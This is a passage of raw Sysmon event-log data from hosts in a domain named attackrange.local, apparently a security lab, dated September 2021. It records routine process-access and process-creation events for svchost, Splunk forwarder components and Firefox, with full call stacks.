14:58:36.175{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016443Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:36.175{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016442Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:36.175{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016441Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:36.175{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016440Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:36.175{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016439Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:36.175{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016438Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:36.175{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-729C-613B-FD04-00000000F101}3620C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000016437Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:36.175{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-729C-613B-FD04-00000000F101}3620C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000016436Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:36.176{625C326B-729C-613B-FD04-00000000F101}3620C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000051297Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:37.990{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b5c4e8|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+166f362|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051296Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:37.978{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+a0d439|C:\Program Files\Mozilla Firefox\xul.dll+a0d35a|C:\Program Files\Mozilla Firefox\xul.dll+a0cf49|C:\Program Files\Mozilla Firefox\xul.dll+a090df|C:\Program Files\Mozilla Firefox\xul.dll+a093ec|C:\Program Files\Mozilla Firefox\xul.dll+b5f85d|C:\Program Files\Mozilla Firefox\xul.dll+b6f7fa|C:\Program Files\Mozilla Firefox\xul.dll+b4ce69|C:\Program Files\Mozilla Firefox\xul.dll+b625a0|C:\Program Files\Mozilla Firefox\xul.dll+1a1a5c2|C:\Program Files\Mozilla Firefox\xul.dll+19205a2|C:\Program Files\Mozilla Firefox\xul.dll+191e8cd|C:\Program Files\Mozilla Firefox\xul.dll+1b10b67|C:\Program Files\Mozilla Firefox\xul.dll+1b0fa5f|C:\Program Files\Mozilla Firefox\xul.dll+191cb74|C:\Program Files\Mozilla Firefox\xul.dll+fd6687|C:\Program Files\Mozilla Firefox\xul.dll+fd6b2c|C:\Program Files\Mozilla Firefox\xul.dll+1a1b54f|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4 10341000x800000000000000051295Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:37.978{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+a0d439|C:\Program Files\Mozilla Firefox\xul.dll+a0d35a|C:\Program Files\Mozilla Firefox\xul.dll+a0cf49|C:\Program Files\Mozilla Firefox\xul.dll+a090df|C:\Program Files\Mozilla Firefox\xul.dll+a093ec|C:\Program Files\Mozilla Firefox\xul.dll+b55c5a|C:\Program Files\Mozilla Firefox\xul.dll+2d9649|C:\Program Files\Mozilla Firefox\xul.dll+2d9554|C:\Program Files\Mozilla Firefox\xul.dll+2d933d|C:\Program Files\Mozilla Firefox\xul.dll+2d91d4|C:\Program Files\Mozilla Firefox\xul.dll+ba1993|C:\Program Files\Mozilla Firefox\xul.dll+ba2691|C:\Program Files\Mozilla Firefox\xul.dll+ba168d|C:\Program Files\Mozilla Firefox\xul.dll+ba15e2|C:\Program Files\Mozilla Firefox\xul.dll+b723b2|C:\Program Files\Mozilla Firefox\xul.dll+1a1b580|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda 10341000x800000000000000051294Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:37.976{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+a0d439|C:\Program Files\Mozilla Firefox\xul.dll+a0d35a|C:\Program Files\Mozilla Firefox\xul.dll+a0cf49|C:\Program Files\Mozilla Firefox\xul.dll+a090df|C:\Program Files\Mozilla Firefox\xul.dll+a093ec|C:\Program Files\Mozilla Firefox\xul.dll+b55c5a|C:\Program Files\Mozilla Firefox\xul.dll+2d9649|C:\Program Files\Mozilla Firefox\xul.dll+2d9554|C:\Program Files\Mozilla Firefox\xul.dll+2d933d|C:\Program Files\Mozilla Firefox\xul.dll+2d91d4|C:\Program Files\Mozilla Firefox\xul.dll+ba1993|C:\Program Files\Mozilla Firefox\xul.dll+ba2691|C:\Program Files\Mozilla Firefox\xul.dll+ba168d|C:\Program Files\Mozilla Firefox\xul.dll+ba15e2|C:\Program Files\Mozilla Firefox\xul.dll+b723b2|C:\Program Files\Mozilla Firefox\xul.dll+1a1b580|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda 10341000x800000000000000051293Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:37.976{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+a0d439|C:\Program Files\Mozilla Firefox\xul.dll+a0d35a|C:\Program Files\Mozilla Firefox\xul.dll+a0cf49|C:\Program Files\Mozilla Firefox\xul.dll+a090df|C:\Program Files\Mozilla Firefox\xul.dll+a093ec|C:\Program Files\Mozilla Firefox\xul.dll+b55c5a|C:\Program Files\Mozilla Firefox\xul.dll+2d9649|C:\Program Files\Mozilla Firefox\xul.dll+2d9554|C:\Program Files\Mozilla Firefox\xul.dll+2d933d|C:\Program Files\Mozilla Firefox\xul.dll+2d91d4|C:\Program Files\Mozilla Firefox\xul.dll+ba1993|C:\Program Files\Mozilla Firefox\xul.dll+ba2691|C:\Program Files\Mozilla Firefox\xul.dll+ba168d|C:\Program Files\Mozilla Firefox\xul.dll+ba15e2|C:\Program Files\Mozilla Firefox\xul.dll+b723b2|C:\Program Files\Mozilla Firefox\xul.dll+1a1b580|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda 10341000x800000000000000051292Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:37.976{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+a0d439|C:\Program Files\Mozilla Firefox\xul.dll+a0d35a|C:\Program Files\Mozilla Firefox\xul.dll+a0cf49|C:\Program Files\Mozilla Firefox\xul.dll+a090df|C:\Program Files\Mozilla Firefox\xul.dll+a093ec|C:\Program Files\Mozilla Firefox\xul.dll+b55c5a|C:\Program Files\Mozilla Firefox\xul.dll+2d9649|C:\Program Files\Mozilla Firefox\xul.dll+2d9554|C:\Program Files\Mozilla Firefox\xul.dll+2d933d|C:\Program Files\Mozilla Firefox\xul.dll+2d91d4|C:\Program Files\Mozilla Firefox\xul.dll+ba1993|C:\Program Files\Mozilla Firefox\xul.dll+ba2691|C:\Program Files\Mozilla Firefox\xul.dll+ba168d|C:\Program Files\Mozilla Firefox\xul.dll+ba15e2|C:\Program Files\Mozilla Firefox\xul.dll+b723b2|C:\Program Files\Mozilla Firefox\xul.dll+1a1b580|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda 10341000x800000000000000051291Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:37.976{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+a0d439|C:\Program Files\Mozilla Firefox\xul.dll+a0d35a|C:\Program Files\Mozilla Firefox\xul.dll+a0cf49|C:\Program Files\Mozilla Firefox\xul.dll+a090df|C:\Program Files\Mozilla Firefox\xul.dll+a093ec|C:\Program Files\Mozilla Firefox\xul.dll+b55c5a|C:\Program Files\Mozilla Firefox\xul.dll+2d9649|C:\Program Files\Mozilla Firefox\xul.dll+2d9554|C:\Program Files\Mozilla Firefox\xul.dll+2d933d|C:\Program Files\Mozilla Firefox\xul.dll+2d91d4|C:\Program Files\Mozilla Firefox\xul.dll+ba1993|C:\Program Files\Mozilla Firefox\xul.dll+ba2691|C:\Program Files\Mozilla Firefox\xul.dll+ba168d|C:\Program Files\Mozilla Firefox\xul.dll+ba15e2|C:\Program Files\Mozilla Firefox\xul.dll+b723b2|C:\Program Files\Mozilla Firefox\xul.dll+1a1b580|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda 10341000x800000000000000051290Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:37.975{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+a0d439|C:\Program Files\Mozilla Firefox\xul.dll+a0d35a|C:\Program Files\Mozilla Firefox\xul.dll+a0cf49|C:\Program Files\Mozilla Firefox\xul.dll+a090df|C:\Program Files\Mozilla Firefox\xul.dll+a093ec|C:\Program Files\Mozilla Firefox\xul.dll+b55c5a|C:\Program Files\Mozilla Firefox\xul.dll+2d9649|C:\Program Files\Mozilla Firefox\xul.dll+2d9554|C:\Program Files\Mozilla Firefox\xul.dll+2d933d|C:\Program Files\Mozilla Firefox\xul.dll+2d91d4|C:\Program Files\Mozilla Firefox\xul.dll+ba1993|C:\Program Files\Mozilla Firefox\xul.dll+ba2691|C:\Program Files\Mozilla Firefox\xul.dll+ba168d|C:\Program Files\Mozilla Firefox\xul.dll+ba15e2|C:\Program Files\Mozilla Firefox\xul.dll+b723b2|C:\Program Files\Mozilla Firefox\xul.dll+1a1b580|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda 10341000x800000000000000051289Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:37.974{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+a0d439|C:\Program Files\Mozilla Firefox\xul.dll+a0d35a|C:\Program Files\Mozilla Firefox\xul.dll+a0cf49|C:\Program Files\Mozilla Firefox\xul.dll+a090df|C:\Program Files\Mozilla Firefox\xul.dll+a093ec|C:\Program Files\Mozilla Firefox\xul.dll+b55c5a|C:\Program Files\Mozilla Firefox\xul.dll+2d9649|C:\Program Files\Mozilla Firefox\xul.dll+2d9554|C:\Program Files\Mozilla Firefox\xul.dll+2d933d|C:\Program Files\Mozilla Firefox\xul.dll+2d91d4|C:\Program Files\Mozilla Firefox\xul.dll+ba1993|C:\Program Files\Mozilla Firefox\xul.dll+ba2691|C:\Program Files\Mozilla Firefox\xul.dll+ba168d|C:\Program Files\Mozilla Firefox\xul.dll+ba15e2|C:\Program Files\Mozilla Firefox\xul.dll+b723b2|C:\Program Files\Mozilla Firefox\xul.dll+1a1b580|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda 10341000x800000000000000051288Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:37.973{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+a0d439|C:\Program Files\Mozilla Firefox\xul.dll+a0d35a|C:\Program Files\Mozilla Firefox\xul.dll+a0cf49|C:\Program Files\Mozilla Firefox\xul.dll+a090df|C:\Program Files\Mozilla Firefox\xul.dll+a093ec|C:\Program Files\Mozilla Firefox\xul.dll+b55c5a|C:\Program Files\Mozilla Firefox\xul.dll+2d9649|C:\Program Files\Mozilla Firefox\xul.dll+2d9554|C:\Program Files\Mozilla Firefox\xul.dll+2d933d|C:\Program Files\Mozilla Firefox\xul.dll+2d91d4|C:\Program Files\Mozilla Firefox\xul.dll+ba1993|C:\Program Files\Mozilla Firefox\xul.dll+ba2691|C:\Program Files\Mozilla Firefox\xul.dll+ba168d|C:\Program Files\Mozilla Firefox\xul.dll+ba15e2|C:\Program Files\Mozilla Firefox\xul.dll+b723b2|C:\Program Files\Mozilla Firefox\xul.dll+1a1b580|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda 10341000x800000000000000051287Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:37.971{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+a0d439|C:\Program Files\Mozilla Firefox\xul.dll+a0d35a|C:\Program Files\Mozilla Firefox\xul.dll+a0cf49|C:\Program Files\Mozilla Firefox\xul.dll+a090df|C:\Program Files\Mozilla Firefox\xul.dll+a093ec|C:\Program Files\Mozilla Firefox\xul.dll+b55c5a|C:\Program Files\Mozilla Firefox\xul.dll+2d9649|C:\Program Files\Mozilla Firefox\xul.dll+2d9554|C:\Program Files\Mozilla Firefox\xul.dll+2d933d|C:\Program Files\Mozilla Firefox\xul.dll+2d91d4|C:\Program Files\Mozilla Firefox\xul.dll+ba1993|C:\Program Files\Mozilla Firefox\xul.dll+ba2691|C:\Program Files\Mozilla Firefox\xul.dll+ba168d|C:\Program Files\Mozilla Firefox\xul.dll+ba15e2|C:\Program Files\Mozilla Firefox\xul.dll+b723b2|C:\Program Files\Mozilla Firefox\xul.dll+1a1b580|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda 10341000x800000000000000051286Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:37.971{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+a0d439|C:\Program Files\Mozilla Firefox\xul.dll+a0d35a|C:\Program Files\Mozilla Firefox\xul.dll+a0cf49|C:\Program Files\Mozilla Firefox\xul.dll+a090df|C:\Program Files\Mozilla Firefox\xul.dll+a093ec|C:\Program Files\Mozilla Firefox\xul.dll+b55c5a|C:\Program Files\Mozilla Firefox\xul.dll+2d9649|C:\Program Files\Mozilla Firefox\xul.dll+2d9554|C:\Program Files\Mozilla 